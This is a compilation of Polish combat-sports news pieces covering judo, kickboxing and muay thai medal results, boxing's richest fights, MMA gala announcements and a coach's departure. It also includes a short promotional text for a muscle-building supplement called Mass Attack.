Prezentujemy Official Trailem przed Galą Ladies Fight Night – IRA.
[kod]
Prezentujemy Official Trailem przed Galą Ladies Fight Night – IRA.
[kod]
W sklepach specjalizujących się w sprzedaży suplementów diety i odżywek dla sportowców można odnaleźć wiele produktów, które mają wspomóc budowanie masy mięśniowej. Jednak nie wszystkie z nich są godne uwagi – np. zawierają jeden składnik lub mają nieodpowiednio dobrane proporcje. Swoją uwagę lepiej skierować ku produktom, które kompleksowo wspierają organizm w czasie dużego wysiłku takich, jakim jest np. Mass Attack – jeden z najnowszych i chętnie polecanych przez specjalistów suplement diety na rozwój masy mięśniowej.
Dlaczego warto wybrać Mass Attack?
Mass Attack jest suplementem diety, który został stworzony przede wszystkim z myślą o osobach, które poważnie podchodzą do budowania masy mięśniowej, np. chcą brać udział w zawodach kulturystycznych. Z produktu mogą korzystać również pełnoletnie osoby, które chcą rozpocząć przygodę z bardziej wymagającymi ćwiczeniami, które wiążą się z dużym wysiłkiem i wycieczeniem organizmu. Szczególnie polecany jest dla osób, których treningi są krótkie, ale intensywne.
Skład produktu został dobrany w taki sposób, aby kompleksowo dopowiadać na potrzeby organizmu. Znajdują się w nim składniki, które przede wszystkim wspomagają rozbudowę mięśni i tworzenie nowych struktur mięśniowych (odpowiednio dobrane grupy aminokwasów), ale w Mass Attack można znaleźć również składniki wspomagające regenerację organizmu po treningu (np. witamina B12), czy chroniące mięśnie i stawy przed degeneracją lub kontuzja w czasie ćwiczeń (np. hydrolizowany kolagen czy witamina E). Odpowiednio dobrane proporcje w tym preparacje pozwalają na uzyskanie optymalnych efektów. Trzeba jednak pamiętać o tym, że najlepsze efekty w budowaniu masy mięśniowej uzyska się przy odpowiednim połączeniu treningów, stosowanych suplementów diety i przygotowaniu zbilansowanej diety. W tym celu najlepiej zwrócić się o poradę do trenera lub dietetyka.
Jak należy stosować suplement diety wspomagający budowanie masy mięśniowej Mass Attack?
Producent zaleca stosowanie 5 miarek produktu (około 50 gram) na 220 ml wody lub mleka. Taką ilość proszku należy dokładnie wymieszać z płynem. Do przygotowania napoju najlepiej użyć shakera, przy pomocy którego łatwo rozprowadzi się proszek bez powstania grudek. Zaleca się picie tak przygotowanego roztworu około 15 minut po zakończonym treningu. Co istotne, zaleca się także przyjmowanie suplementu diety również w dniach, kiedy trening się nie odbywa. Produkt jest przeznaczony wyłącznie dla osób dorosłych i najlepiej stosować go po konsultacji z trenerem i dietetykiem. Wówczas najlepiej suplement diety przyjąć pomiędzy posiłkami. Warto też pamiętać o odpowiednim przechowywaniu produktu – po jego otwarciu należy trzymać je szczelnie zabezpieczone w temperaturze nieprzekraczającej 25 stopni Celsjusza.
O tym, że podczas jednej walki bokserskiej do wygenerowania możliwe są przychody, o jakich mogą pomarzyć nawet piłkarze, wiedzą wszyscy. Trudno się temu dziwić, gdyż zintensyfikowana i kompaktowa walka bokserska potrafi dostarczyć kibicom takich emocji, jakich nie jest w stanie żadna inna rozgrywka sportowa. Nie dziwi zatem niemalejąca popularność boksu zarówno wśród oglądających, jak i aktywnie obstawiających zakłady bukmacherskie. Kto i ile zarobił podczas 5 najdroższych walk w historii? Sprawdźmy.
5. Mike Tyson vs. Evander Holyfield 1(1996), “Finally”
Mowa tutaj o walce pomiędzy Tysonem a Holyfieldem z 1996 roku. Nie jest to jednak ta, którą pamiętają wszyscy, a która miała miejsce zaledwie rok później. Okoliczności walki nie były "kolorowe" dla obu zawodników, gdyż zdawać by się mogło, że dopiero wracali na arenę światowego boksu. W świetle odzyskania tytułu przez Tysona i kilku mało znaczących zwycięstwie Holyfielda wszyscy obstawiali, że to właśnie ten pierwszy wygra z przytłaczającą przewagą.
W pierwszej rundzie kibice mogli być świadkiem ostrej wymiany ciosów niczym z filmu. W kolejnej Holyfield wyprowadził cios, który chwilowo ogłuszył Tysona. Jednak, jak się okazało później, sam niezbyt pewnie trzymał się już na nogach. Kolejne rundy pokazały znaczącą dominację Holyfielda. W 10 rundzie przed jego szarżą Tyson został uratowany przez gong. Mike w całej swojej karierze nie zaliczył tak sromotnej przegranej. Pomimo porażki zarobił on 30 mln dolarów.
4. Evander Holyfield vs. Mike Tyson 2 (1997), “The Sound and The Fury AKA The Bite Fight”
Walka pomiędzy Holyfieldem a Tysonem z 1997 roku przeszła do historii, nie tylko jako jedna z najdroższych, ale również jedna z najbardziej kontrowersyjnych.
To właśnie w czasie jej trwania, gdy Evander znowu zyskiwał przewagę nad Tysonem, Mike podjął się desperackiej próby przechylenia walki na swoją korzyść. Gdy doszło do klinczu w 3 rundzie, odgryzł kawałek ucha Evanderowi. Sędzia poprosił o przerwę, gdyż sytuacja była tak niespotykana, że ciężko było mu zdecydować, co zrobić w takiej sytuacji. Mike nie został zdyskwalifikowany i oboje zawodników powróciło na ring. Kontynuacja 3 rundy i kolejny klincz był okazją dla Tysona dla odgryzienia kawałka drugiego ucha swojego przeciwnika. Gdy po walce kolejny "faul" wyszedł na jaw, Mike został zdyskwalifikowany, a Holyfield otrzymał tytuł mistrzowski. Za tą walkę Evander zainkasował 35 mln dolarów.
3. Oscar De La Hoya vs. Floyd Mayweather (2007), “The World Awaits”
Walka Oscara De La Hoya i Floyda Mayweathera z 2007 roku była tą, która przyćmiła oglądalnością legendarną walkę pomiędzy Tysonem i Holyfieldem sprzed 10 lat.
Podczas walki mogliśmy obserwować nieustanne próby natarcia ze strony Oscara De La Hoya, lecz były one często stopowane przez lewy prosty Mayweathera. Inne natomiast kończyły się klinczem jedną ręką lub wychodzeniem poza dystans poprzez odepchnięcie i odskok.
Ostatecznie to Mayweather wygrał niejednogłośną decyzją sędziów. Była to ostatnia walka, w której ktoś zarobił więcej niż Floyd. De La Hoya zgarnął za ten pojedynek 52 mln dolarów.
2. Floyd Mayweather vs. Canelo Alvarez (2013), “The One”
Historia nie odnotowała do tego czasu tak wysokiej stawki, jaką za walkę zgarnął jej zwycięzca (80 mln dolarów dla Floyda). Mające miejsce w roku 2013 wydarzenie sportowe, zaskoczyło wszystkich wielbicieli boksu taktyką objętą przez obu zawodników.
Fani Canelo byli zadziwieni odmienną od jego innych walk postawą. Bardzo agresywny w większości potyczek zawodnik tym razem bił się wyjątkowo zachowawczo. Większość podejmowanych akcji z jego strony była jedynie kontratakiem na lewe proste Mayweathera. Można było odnieść wrażenie, że zachowywał on także większą niż zazwyczaj oszczędność w ilości zadawanych ciosów.
Niestety próby przejęcia inicjatywy były niewystarczające dla odniesienia zwycięstwa, a walka została wygrana przez Floyda.
1. Floyd Mayweather vs. Manny Pacquiao (2015), “The Fight of the Century” lub “The Battle for Greatness”
Najdroższe walki, jakie pamięta historia boksu sportowego, które wymieniliśmy do tej pory, nie pozwoliły zainkasować takich kwot, jakie zgarnęli Mayweather i Pacquiao w imprezie z roku 2015. Pod względem intensywności, jak i obrotu sum pieniężnych, walka ta została ogłoszona "walką stulecia".
Potyczka była starciem 2 całkowicie odmiennych od siebie stylów. Znany ze swojej szybkości i nieustępliwości Manny nie odpuszczał ani na krok cofającego się Mayweathera. Mimo tego żadna z jego akcji nie zakończyła się nokautem. Sędziowie uznali, że kontrataki Mayweathera były skuteczniejsze, co ostatecznie zadecydowało o jego zwycięstwie. Po walce, na jego konto spłynęło 180 mln dolarów.
Do najbardziej kasowych walk w historii boksu, może niedługo już dołączyć kolejna. Wciąż pełen sił i werwy do walki Floyd Mayweather zmierzy się już 26 sierpnia z gwiazdą MMA McGregorem Conorem. Przy obecnych spekulacjach Floyd może zarobić na tym między 200 a 300 milionów dolarów! Eksperci i najlepsi bukmacherzy zgodnie obstawiają, że zwycięzcą będzie „Money”.
Najdroższe walki w historii boksu przejdą do annałów zarówno ze względu na zainwestowany kapitał, jak i samych czołowych zawodników, którzy dawali od siebie czasem nawet więcej, niż oczekiwałby od nich tego sam tłum.
Nietypowa propozycja Marcina Najmana skierowana do Artura Szpilki. Popularny „El Testosteron” chciałby zmierzyć się, że „Szpilą” w przyszłym roku na stadionie PGE Narodowym.
Artur Szpilka znajduje się na zakręcie. Wrócił na ring po półtorarocznej przerwie i w Nowym Jorku przegrał przez techniczny nokaut z Adamem Kownackim.
Propozycja nie do odrzucenia?
Szpilka zanotował dwie porażki z rzędu. Wymarzony świat wielkich walk bokserskich oddala się od boksera urodzonego w Wieliczce. W Szpilkę wierzy Marcin Najman, który zamieścił na swoim Facebooku krótki film skierowany do 28-latka. – Witam Cię Artur! Na wstępie chciałem powiedzieć, że bardzo mi przykro, że przechodzisz teraz tak trudny moment. Nigdy mi nie wchodziłeś w drogę, a ja ludziom, którzy mi nie wchodzą w drogę zawsze życzę dobrze, więc i tobie życzę wszystkiego dobrego. Kiedyś przechodziłem w swoim życiu tak trudny moment jak ty teraz. Przegrałem trzy walki z rzędu, choć ta porażka z Saletą to tak naprawdę oszustwo sędziowskie, a nie porażka. Ale mimo wszystko był to bardzo trudny moment dla mnie. Podniosłem się, od tamtego czasu wygrałem cztery walki, wszystkie przed czasem – mówił Marcin Najman.
Bokser i zawodnik MMA chciałby spotkać się w ringu ze Szpilką. Termin: 26 maja 2018, miejsce: PGE Narodowy. Pojedynek miałby odbyć się na zasadach bokserskich. – Ludzi ocenia się po tym jak potrafią wstawać, a nie upadać. Artur, jestem przekonany, że dasz sobie radę i wstaniesz. I w tym miejscu przychodzę do ciebie z pomocną dłonią, ponieważ mam dla ciebie propozycję walki na jednej z największej gal sportów walki jakie się odbędą w Polsce – tłumaczy Najman.
Co na ten temat sądzisz Artur Szpilka? Po walce z Kownackim jego aktywność w mediach społecznościowych spadła, jednak zaczepiony na Twitterze przez Łukasz Jurkowskiego krótko ustosunkował się do propozycji Najmana. Bokser wymownie napisał: „Przestań Amigo proszę”.
Szpilka jeszcze w tym roku
Najman chciałby, aby gala, której jest organizatorem była wielkim wydarzeniem. Z pewnością Artur Szpilka wzbudziłby zainteresowanie kibiców. Jednak już teraz wiele osób nie traktuje poważnie propozycji Najmana.
Sam Szpilka jak najszybciej musi się odbudować po porażce z Kownackim. Niewykluczone, że w tym roku stoczy jeszcze dwie walki. Pierwszą ze słabszym rywalem, zaś kolejna prawdopodobnie miałaby miejsce 2 grudnia.
KM
Aktywny czas za młodymi judokami. W węgierskim Gyor odbył się Letni Olimpijski Festiwal Młodzieży, z kolei w Berlinie juniorzy rywalizowali w Pucharze Europy. Łącznie nasi reprezentanci wywalczyli pięć medali.
W Gyor wystartowało 12 Polaków, a w Berlinie 19. Do pełni szczęścia zabrakło tylko złota.
Kropska w formie
17-letnia Natalia Kropska (57kg) jest w formie. W tym roku nasza judoczka startowała już w siedmiu turniejach na poziomie międzynarodowym. Szczęśliwy dla Kropskiej okazał się Berlin, gdzie stanęła na najwyższym stopniu podium. 17-latka wywalczyła brązowy medal w mistrzostwach Europy kadetów.
Młoda Polka miała genialny początek w Letnim Olimpijskim Festiwalu Młodzieży Europy w judo. Zawodniczka GKS Czarni Bytom wygrała dwie walki przed czasem, jednak w półfinale przegrała ze zwyciężczynią tegorocznego Pucharu Europy w Bielsku Słowenką Kają Kajzer. W starciu o trzecie miejsce 17-latka dynamicznie uporała się z Turczynką Hasret Bozkurt. Polka do zwycięstwa potrzebowała zaledwie 35 sekund.
Blisko złota był Wojciech Kordyalik (+90kg). W tym roku młody Polak nie stał jeszcze na podium. Najlepszy występ zanotował w Zagrzebiu, gdzie wywalczył siódmą pozycję. W Gyor Kordyalik wygrał trzy walki. Jego najdłuższy pojedynek trwał nieco ponad 80 sekund. W finale Polak musiał uznać wyższość mistrza Europy z 2016 roku Richarda Sipocza.
Blisko podium był Kacper Kubiak (90kg), jednak ostatecznie uplasował się na piątym miejscu.
Trójka w Berlinie
Trzecie zawody z rzędu i Julia Kowalczyk (57kg) ponownie na podium. W Berlinie 19-latka wygrała trzy walki, jednak w półfinale na Francuzkę Leonoe Sarag Cysique nie znalazła sposobu. Po zaciętym pojedynku rywalka wygrała przez waza-ari. W starciu o brąz Kowalczyk pokonała Brytyjkę Lele Nairne.
Kolejny brąz na koncie Jakuba Ozimka (90kg). Na początku lipca judoka stanął na najniższym stopniu podium w Gdyni. W Berlinie Ozimek wygrał aż pięć walk, przegrał jedną. Lepszy od Polaka okazał się Jamal Petgrave, co sprawiło, że 19-latek musiał radzić sobie w repasażach. Ozimek znakomicie sobie poradził, a w starciu o medal pokonał mistrza świata kadetów z 2015 roku Falka Petersilka.
Trzy wygrane, po drodze wyeliminował Dominika Majowskiego, dały brąz Kacprowi Szczurowskiemu (100kg).
Na siódmym miejscach rywalizację zakończyli: Daria Tymman (78kg) i Cezary Tchórzewski (73kg).
Fot. judobase
KM
Łukasz Radosz (91kg) i Oskar Siegert (63,5kg) na podium w muay thai w 10. Światowych Igrzyskach Sportowych we Wrocławiu. Medalowymi zdobyczami możemy pochwalić się również w jiu jitsu.
Światowe Igrzyska Sportowe to święto sportów nieolimpijskich, wśród których nie brakuje sportów walki. Nasi fighterzy zdobyli łącznie 18 medali. Ostatniego dnia rywalizacji o najwyższe laury rywalizowano w muay thai.
Cztery szanse
Dużo zdrowia w ringu pozostawił Łukasz Radosz (91kg). W półfinale brązowy medalista mistrzostw świata IFMA 2016 pokonał Jakuba Klaudę. Czech okazał się bardzo niewygodnym rywalem i napsuł sporo krwi Polakowi, jednak to nasz zawodnik wygrał 29:28 i awansował do finału. Radosz stanął przed ogromną szansą na zdobycie złotego medalu. W finale Polak miał zmierzyć się z Olegiem Pryjmaczowem. Miał…, bo z powodu kontuzji nie mógł zaprezentował swoich umiejętności.
Polska miała również trzy „brązowe” szanse medalowe. Po wyraźnej półfinałowej porażce (27:30) z Alim Zarinfarem, Oskqr Siegert (63,5kg) podrażniony przystąpił do rywalizacji w finale pocieszenia. Polak pokazał klasę, a jego rywal Ahmad Ondasha przegrał w związku z niezdolnością do walki (RSC).
Szansy medalowej nie wykorzystała Gabriela Kuzawińska (51kg). Z powodu kontuzji do starcia o brąz nie przystąpił Rafał Korczak (81kg).
Medalowe jiu jitsu
Nie zawiedli nasi reprezentanci w jiu jitsu, którzy przyzwyczaili, że w każdych Światowych Igrzyskach Sportowych wyróżniają się i zdobywają wiele medali. Nie inaczej było we Wrocławiu.
Tomasz Szewczak (94kg) był murowanym kandydatem do złota. Mistrz świata spełnił pokładane w nim nadzieje i w finale rozbił Mohsema Hamida 14:0. Złoty medal zawisł także na szyi Jędrzeja Loski (62kg). Chciałoby się powiedzieć, że nieważne jak się zaczyna. A koniec w przypadku Loski był świetny. W grupie Polak jedną walkę wygrał i jedną przegrał. Loska pokonał Rona Cohena, który był ostatnią przeszkodą na drodze do finału. W decydującym boju Polak spotkał się z Alejandro Ortizem. Sędzia przerwał starcia i ogłosił zwycięstwo Loski. Polak „uśpił” rywala.
Po brąz w kategorii open sięgnęła Emilia Maćkowiak. Rafał Riss (+94kg) zdobył srebro, tak jak i Maciej Polok (69kg). Brąz we Wrocławiu wywalczył Maciej Kozak (77kg). Biało-czerwoni stanęli na najniższym stopniu podium w rywalizacji drużynowej.
Na trzeciej pozycji w karate uplasował się Michał Bąbos (+84kg). O zdobyczach medalowych naszych kickboxerów i sumoków pisaliśmy tu.
KM
Ogromny sukces polskiego kickboxingu! Sześć medali wywalczyli polscy fighterzy na Światowych Igrzyskach Sportowych we Wrocławiu, co pozwoliło im triumfować w klasyfikacji generalnej. Warto wspomnieć, że kickboxing był sportem na zaproszenie. Ale to nie jedyne medale wywalczone we Wrocławiu przed przedstawicieli sportów walki.
World Games nadal trwają. Ściskamy kciuki za naszych reprezentantów w jiu jitsu, którzy w 2013 roku w Cali wywalczyli cztery krążki. We Wrocławiu do dorobku medalowego „dorzucili” się również nasi sumocy.
Kickboxerzy na szóstkę
Przed startem World Games mieliśmy wyostrzone apetyty, ponieważ zdawaliśmy sobie sprawę, że podopiecznych Tomaszów Skrzypka i Mamulskiego stać na wiele. Jak smakuje złoto? Na to pytanie znają odpowiedź Marta Waliczek (60kg) i Dawid Kasperski (86kg). Zawodniczka DAAS Berserkers Team Bielsko-Biała pokonała w finale Melissę Aceves Martinez. Meksykanka postawiła Polce trudne warunki, ale doświadczenie Waliczek okazało się receptą na sukces. Martinez starała się agresywnie atakować, ale fighterka z Bielska przerywała jej akcje i skutecznie kontrowała. Dawid Kasperski pewnie wypunktował Mesuda Selimovica. Bośniak nie miał nic do powiedzenia w starciu z Polakiem, który w pełni zdominował rywalizację.
W finałach wystąpili również Michał Ronkiewicz (75kg) i Mateusz Pluta (91kg), ale obaj przegrali odpowiednio z Zakarią Laaouatnim i Igorem Darmeszkinem. Łącznie polska kadra prowadzona przez Tomasza Skrzypka i Tomasza Mamulskiego zdobyła sześć medali. Brązowe krążki wywalczyli Małgorzata Dymus (56kg) i Wojciech Kazieczko (67kg). Reprezentująca barwy Fightera Wrocław zawodniczka nie musiała wychodzić do ostatniej walki, gdyż jej rywalka… nie zrobiła wagi. Przypadek Dymus jest niezwykle ciekawy również z innego powodu. W ćwierćfinale miała wolny los, a w półfinale musiała uznać wyższość rywalki z Czech. Również Wojciech Kazieczko nie musiał wychodzić do walki o brąz. A to za sprawą kontuzji rywala, który w półfinale został mocno poobijany.
Polscy kibice kickboxingu mogą być zadowoleni. Nasi kadrowicze pokazali we Wrocławiu, że są niezwykle mocni. Kłopoty zdrowotne nie pozwoliły kontynuować rywalizacji Michałowi Turyńskiemu. Polak wygrał walkę ćwierćfinałową, ale więcej do ringu nie wyszedł. Mamy sześć medali i to jest powód do radości. Szkoda tylko, że zdobycz naszych kadrowiczów, z racji „zaproszenia” dyscypliny, nie jest brana pod uwagę w klasyfikacji końcowej.
Sporty walki przynoszą medale
Nie tylko w kickboxingu biało-czerwoni zdobyli medale. Nasi sumocy sięgnęli po dwa brązowe krążki. Na drodze Magdaleny Macios, która rywalizowała w wadze lekkiej stanęła Luciana Montgomery Higuchi. Stawką był awans do finału, jednak Polka przegrała i znalazła się w ostatniej rundzie repasaży. Macios pokonała rodaczkę Monikę Skibę, a w starciu o brąz wygrała z Yuką Okutomi.
Brąz zawisł również na szyi Pawła Wojdy. Polak przegrał ćwierćfinałową rywalizację z Rosjaninem Batyrem Altjewem. Dwie wygrane walki repasażowe otworzyły Wojdzie drzwi do starcia o brąz, w którym okazał się lepszy od sumoki z Egiptu.
Trwa rywalizacja w jiu jitsu, po której zakończeniu stan posiadania Polski na pewno wzrośnie. Do finałów awansowali Maciej Polok i Jędrzej Loska.
KM
Trzęsienie ziemi w warszawskim klubie S4 Fight Club. Piotr Jeleniewski podjął decyzję o zakończeniu pracy w roli trenera MMA.
Pod okiem Piotra Jeleniewskiego na szerokie wody wypłynęło kilkunastu zawodników. Trener mógł cieszyć się z wielu zwycięstw swoich zawodników. Sam pokazał również ogromna siłę pokonując raka.
Duże zmiany
Decyzja Piotra Jeleniewskiego zaskoczyła cały polski świat MMA. Wiele osób zastanawia się, czy decyzja szkoleniowca wywoła lawinę i z klubem S4 pożegnają się kolejne znane nazwiska.. Sam Jeleniewski wydał oświadczenie w sprawie swojego odejścia. – It's done walka Daniela była moją ostatnią w roli trenera w startach zawodowych mma. Było to doświadczenie wyjątkowe, dało mi wiele niezapomnianych emocji, możliwość poznania miejsc i ludzi wyjątkowych. Otrzymałem dzięki tej pracy wyróżnienie udziału w momentach ważnych dla sportowców, z którymi pracowałem. Nie zawsze były to chwile łatwe. Dziękuje im za okazane zaufanie i życzę dalszych sukcesów w ich drodze (pisownia oryginalna) – czytamy w oświadczeniu Piotra Jeleniewskiego.
Trener polskich gwiazd MMA wskazał, że zdobyte doświadczenie będzie cenne przy podejmowaniu kolejnych wyzwań. – Dla mnie nadszedł czas decyzji i podjęcia nowych wyzwań. Jestem związany ze sportami walki od ponad 30 lat, dalej będą częścią mojego życia, ale w innym już wymiarze. Ogrom doświadczenia i wiedzy zdobytej podczas pracy trenerskiej, w myśl zasady „Nauka nigdy się nie kończy”, jest dla mnie istotnym elementem rozwoju, także w wymiarze ludzkim. Wiele lat temu, ktoś, kto wywarł na mnie ogromny wpływ w podejściu do sportów walki, na moje pytanie czemu poświęcił się sztuce walki, odpowiedział: „by być wolnym duchem/umysłem.” Po latach zrozumiałem co miał na myśli i z tym uczuciem, będę dalej podążał swoją drogą. Życie przyniosło mi także doświadczenia, dzięki którym nauczyłem się by: „nie bać się śmierci, lecz nieprzeżytego życia”. Życzę wszystkim, aby ich droga była również pełna przeżyć i wyjątkowych chwil. Jednocześnie dziękuje za wiele lat wsparcia, wiary we mnie ale także opluwania – to jest przecież prawdziwa miara sukcesu w naszym kraju – napisał Jeleniewski.
Piotr Jeleniewski pracował z takimi zawodnikami jak: Łukasz Jurkowski, Marcin Tybura, Daniel Omielańczuk, Mariusz Pudzianowski, Jan Błachowicz, Kamil Waluś, Anzor Azhiev czy Arbi Shamaev.
Co dalej?
Odejście Jeleniewskiego może być początkiem efektu domina. Już mówi się, że z warszawskim klubem S4 pożegnają się Omielańczuk i Błachowicz.
Jedno jest pewne – przygodę z MMA zakończył człowiek, który miał znakomity warsztat, wiedzę i ogromny zapał do pracy. – Na przestrzeni lat rozwinął się trenersko, miał ambicję pomóc zawodnikom najlepiej jak potrafi. Wyniki jego zawodników mówią same za siebie. Teraz kończy się ta przygoda ale zamiast smutku czuję radość i wdzięczność, że mogłem choć raz spróbować Jego warsztatu. Razem świętowaliśmy po walce na KSW Colosseum – napisał na swoim facebooku Łukasz „Juras” Jurkowski.
Fot. Piotr Jeleniewski Facebook
KM
Jesień pełna sportowych emocji. 22 października w Dublinie odbędzie się czterdziesta gala KSW. Tempa nie zwalnia organizacja Fight Exlusive Night, która osiem dni wcześniej odwiedzi Wrocław.
Po Londynie przyszedł czas na Dublin – KSW kontynuuje podróż europejskim szlakiem. Z kolei FEN ma zaplanowane dwie gale – 12 sierpnia i 14 października.
Mocne wrażenia gwarantowane
„Czterdziestka” to w życiu każdego mężczyzny ważne wydarzenie. Czas na refleksję, wykonanie bilansu dotychczasowych dokonań i określenie kolejnych planów. Po trzynastu latach ta „czterdziestka” stuknie organizacji KSW. Martin Lewandowski i Maciej Kawulski wprowadzili MMA do polskiej świadomość i spopularyzowali ten sport, a zarazem wypromowali wielu zawodników.
Mimo „czterdziestki” na karku, KSW nie ma zamiaru przeżywać kryzysu wieku średniego. Włodarze organizacji mierzą w kolejne sukcesy i dalej chcą budować siłę swojej marki. 22 października w Dublinie odbędzie się gala KSW 40. Niebawem powinniśmy poznać nazwiska pierwszych fighterów, którzy zaprezentują się w stolicy Irlandii.
KSW kontynuuje europejską ekspansję. W październiku 2015 roku polska organizacja przygotowała galę na stadionie piłkarskim Wembley, która okazała się sporym sukcesem. Londyn okazał się szczęśliwy dla Tomasza Narkuna, który zdobył tytuł mistrzowski w wadze ciężkiej. Z kolei Borys Mańkowski po raz drugi obronił pas w kategorii półśredniej. A w walce wieczoru Mariusz Pudzianowski musiał uznać wyższość Petera Grahama.
Wybór Irlandii wydaje się właściwy z racji tego, że jest to jeden z najbardziej chłonnych rynków MMA. Gala KSW powinna spotkać się ze sporym zainteresowaniem z racji zamieszkania na zielonej wyspie wielu Polaków.
W maju kibice MMA mogli emocjonować się rywalizacją na stadionie PGE Narodowy w Warszawie. Galę KSW 39 śledziło ponad 57 tysięcy widzów.
Kolejna gala na horyzoncie
12 sierpnia hala widowiskowo-sportowa w Koszalinie doświadczy potężnych wrażeń. A to za sprawą gali Fight Exclusive Night 18. W walce wieczoru, w formule MMA, Kamil Łebkowski zmierzy się z Daguirem Imavovem, który w marcu w Warszawie pokonał Bartłomieja Koperę. Ponadto w Koszalinie zaprezentują się m.in. Marcin Naruszczka, Artur Bizewski, Mateusz Rębecki czy Wojciech Janusz. Gala w Koszalinie za kilkanaście dni, a włodarze FEN myślą już o kolejnym wydarzeniu.
Jesienią organizacja ponownie zawita do Wrocławia, gdzie gościła już sześć razy. Gala FEN 19 odbędzie się 14 października w Hali Orbita. – Po debiucie w Koszalinie teraz wracamy do miejsca, w którym wypływaliśmy na szerokie wody jako federacja zajmująca się mieszanymi sztukami walki oraz kickboxingiem. Po raz siódmy zagościmy we Wrocławiu i po raz trzeci areną zmagań dla naszych zawodników będzie Hala Orbita. To gwarancja niesamowitych emocji i znakomitej atmosfery – Wrocław zawsze był dla nas wyjątkowo gościnny – powiedział Paweł Jóźwiak, prezes FEN.
KM
Zapraszamy na transmisje telewizyjna na zywo z z European Judo Open, które ma miejsce w Mińsku na Białorusi.
[kod]
Cztery medale wywalczyły reprezentantki Polski w zawodach Pucharu Europy w judo w Mińsku. Bezkonkurencyjna była Agata Ozdoba (63kg).
Łącznie do Mińska udało się ośmioro reprezentantów Polski, w tym aż siedem przedstawicielek płci pięknej. Rodzynkiem był Tomasz Domański (100kg). Z kolei w Pradze rywalizowali juniorzy. W stolicy Czech zaprezentowało się 26 biało-czerwonych.
Dziewczyny na medal
Reprezentacja Polski kobiet nie raz udowodniła, że jako drużyna ma ogromny potencjał. W 2016 roku biało-czerwone zdobyły mistrzostwo Europy. Tytułu nie udało obronić się w tegorocznym czempionacie, który odbył się w Warszawie. W finale Polki przegrały z Francuzkami. Chciałoby się, żeby indywidualnie nasze zawodniczki odnosiły wyniki na tym poziomie. Okazuje się, że jest to możliwe. Najlepszym tego dowodem jest zakończony właśnie Puchar Europy w Mińsku.
Jesienią 2015 roku Agata Ozdoba przeżywała prawdziwy dramat. Podczas Światowych Igrzysk Wojskowych w Korei Południowej judoczka zerwała więzadła krzyżowe. Operacja, rehabilitacja i długa przerwa. Ozdobę ominęło wiele turniejów, w których mogła zdobywać punkty do olimpijskiego rankingu. Co prawda wróciła na mistrzostwa Europy w Kazaniu, ale na igrzyska w Rio się nie zakwalifikowała. Była jednak w Brazylii jako sparingpartnerka swoich koleżanek. Ale to już przeszłość. Ozdoba może myśleć o kolejnych igrzyskach. W Mińsku Polka pokazała klasę i wygrała cztery walki. O złoto walczyła z mistrzynią Europy juniorek Inbal Shemesh. Dla Ozdoby triumf w Mińsku to pierwsze zwycięstwo w zawodach tej rangi.
Blisko wygranej była Beata Pacut (78kg). 21-letnia zawodniczka przegrała w decydującym pojedynku z mocną Holenderką Marhinde Verkerk. Wcześniej Polka wygrała trzy walki, w tym dwie przez ippon. W pokonanym polu pozostawiła m.in. mistrzynię Europy juniorek z 2016 roku Marię Annę Wagner.
Kolejne podium Agaty Perenc (52kg). Judoczka Polonii Rybnik w Mińsku sięgnęła po brąz. Z kolei na początku czerwca triumfowała w Bukareszcie. Na trzecim miejscu w Mińsku znalazła się również Anna Borowska (57kg), która w tym roku wygrywała już w Casablance i Pradze. W stolicy Białorusi 23-latka pokonała m.in. Arletę Podolak.
O krok od podium była Karolina Tałach (63kg). W starciu o brąz Polka przegrała z zawodniczką gospodarzy Danielą Kazanoi. Cieszy powrót po kontuzji Arlety Podolak (57kg), która zajęła siódmą lokatę.
Tomasz Domański (100kg) poległ już w pierwszym pojedynku.
Załęczny z brązem
Polska była licznie reprezentowana w Pradze, ale wraca tylko z jednym medalem. Jego zdobywcą Krzysztof Załęczny (+100kg). 19-latek wygrał dwa pojedynki, co dało mu brąz. Na drodze do rywalizacji o złoto Polakowi stanął Richard Waczulik z Węgier. Dla Załęcznego to drugie podium w tegorocznym startach. W lutym sięgnął po srebrny medal w Lignano.
Piąty był Paweł Drzymal (81kg). Polak dzielnie walczył, przeszedł przez repasaże, do których trafił po porażce z mistrzem Oceanii Anthonym Kourosem, a w starciu o brąz lepszy od naszego zawodnika był Mate Iklodi.
KM
Zapraszamy na transmisje telewizyjna na zywo z z European Judo Open, które ma miejsce w Mińsku na Białorusi.
[kod]
Michał Syrowatka pokonując Robbiego Daviesa Jr wszedł na bokserskie salony. – Cieszę się, że w końcu zrobiłem ogromny krok w stronę dużych walk – nie ukrywa satysfakcji w rozmowie z FighTime.pl polski pięściarz.
Po sukcesie czas na odpoczynek. Taki plan ma 29-letni bokser z Ełku. A co dalej? Z pewnością Syrowatka będzie robił wszystko, aby dostąpić zaszczytu rywalizacji o pas mistrza świata WBA w wadze super lekkiej.
Odpoczynek po sukcesie
Od starcia z Daviesem minął tydzień. Przypomnijmy. Do Londynu 29-letni Syrowatka nie jechał w roli faworyta, jednak od początku starcia z 27-latkiem prezentował się bardzo dobrze. W dziewiątej rundzie Polak był liczony i myśląc o wygranej musiał przystąpić do ataku. Efekt nastąpił w dwunastej rundzie, kiedy Davies nie był w stanie kontynuować walki. Tym samym bokser z Ełku sięgnął po pas WBA Continental. Syrowatka otrzymał wiele pochwał i wszyscy liczą, że teraz konsekwentnie będzie dążył do walki o tytuł mistrzowski WBA.
Teraz Syrowatka będzie ładował akumulatory. Po wygranej walce należy mu się chwila odpoczynku. – Mam zamiar wraz z narzeczoną wyjechać na krotki odpoczynek. Na pewno nie będę ograniczał się do leżenia i picia piwa. Myślę, że to będzie aktywny odpoczynek – przedstawia Michał Syrowatka.
Jedno jest pewne, dziewiętnasta wygrana może być dla Syrowatki milowym krokiem w jego karierze, choć nie ostatnim. Czeka na niego jeszcze wiele wyzwań. W Londynie Syrowatka stanął przed trudnym zadaniem, ale zdał egzamin. Pokazał, że drzemią w nim spore możliwości. – Emocje opadły, choć z każdej strony przyjmuję wiele gratulacji. Cieszę się, że w końcu zrobiłem ogromny krok w stronę dużych walk. Oczywiście zrobię, co w mojej mocy by utrzymać się na tych salonach jak najdłużej – tłumaczy posiadacz pasa WBA Continental w wadze super lekkiej.
W oczekiwaniu na kolejną walkę
W tym roku Michał Syrowatka stoczył już trzy pojedynki. Rok temu zanotował ich tyle samo i wszystkie wygrał. Czy jesienią stoczy czwarty tegoroczny pojedynek? Na konkrety trzeba poczekać – Co do najbliższej walki, nic na chwilę obecną powiedzieć nie mogę. Muszę spotkać się z promotorem i razem coś ustalimy – podaje 29-letni pięściarz.
Fot. Facebook Michał Syrowatka
KM
